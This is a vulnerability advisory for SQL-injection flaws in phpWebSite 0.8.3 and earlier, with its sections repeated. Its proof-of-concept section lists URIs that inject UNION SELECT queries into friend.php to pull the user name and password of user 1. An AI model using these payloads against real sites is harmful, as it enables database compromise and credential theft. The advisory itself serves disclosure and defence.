PHPWebSite Multiple SQL Injection Vulnerabilities
BID:17150
Info
PHPWebSite Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 17150 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 20 2006 12:00AM |
| Updated: | Apr 13 2006 10:47PM |
| Credit: | DaBDouB-MoSiKaR is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
phpWebsite phpWebsite 0.8.3 phpWebsite phpWebsite 0.8.2 |
| Not Vulnerable: |
phpWebsite phpWebsite 0.10.2 phpWebsite phpWebsite 0.10.1 phpWebsite phpWebsite 0.10 phpWebsite phpWebsite 0.9.3 -4 phpWebsite phpWebsite 0.9.3 -3 phpWebsite phpWebsite 0.9.3 -2 phpWebsite phpWebsite 0.9.3 -1 phpWebsite phpWebsite 0.9.3 |
Discussion
PHPWebSite Multiple SQL Injection Vulnerabilities
phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Versions 0.83 and prior are vulnerable.
phpWebSite is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Versions 0.83 and prior are vulnerable.
Exploit / POC
PHPWebSite Multiple SQL Injection Vulnerabilities
This issue can be exploited using a web client.
The following proof-of-concept URIs are available:
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1
http://www.example.com/article.php?sid=[sql]
This issue can be exploited using a web client.
The following proof-of-concept URIs are available:
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20name%20From%20users%20where%20uid=1
http://www.example.com/friend.php?op=FriendSend&sid=-1%20Union%20select%20pass%20From%20users%20where%20uid=1
http://www.example.com/article.php?sid=[sql]
Solution / Fix
PHPWebSite Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
PHPWebSite Multiple SQL Injection Vulnerabilities
References:
References: